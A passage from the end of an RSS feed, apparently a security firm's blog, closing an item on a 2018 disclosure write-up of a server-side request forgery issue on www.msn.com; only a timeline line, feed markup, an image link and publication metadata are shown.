                      
           Oct 23: Publicación del Write-Up.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/exploiting_ssrf_vulnerability.png" length="21116" type="image/png" />
      <pubDate>Tue, 23 Oct 2018 07:34:21 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/server-side-request-forgery-en-www-msn-com</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/exploiting_ssrf_vulnerability.png">
        <media:description>thumbnail</media:description>
      </media:content>
    </item>
  </channel>
</rss>
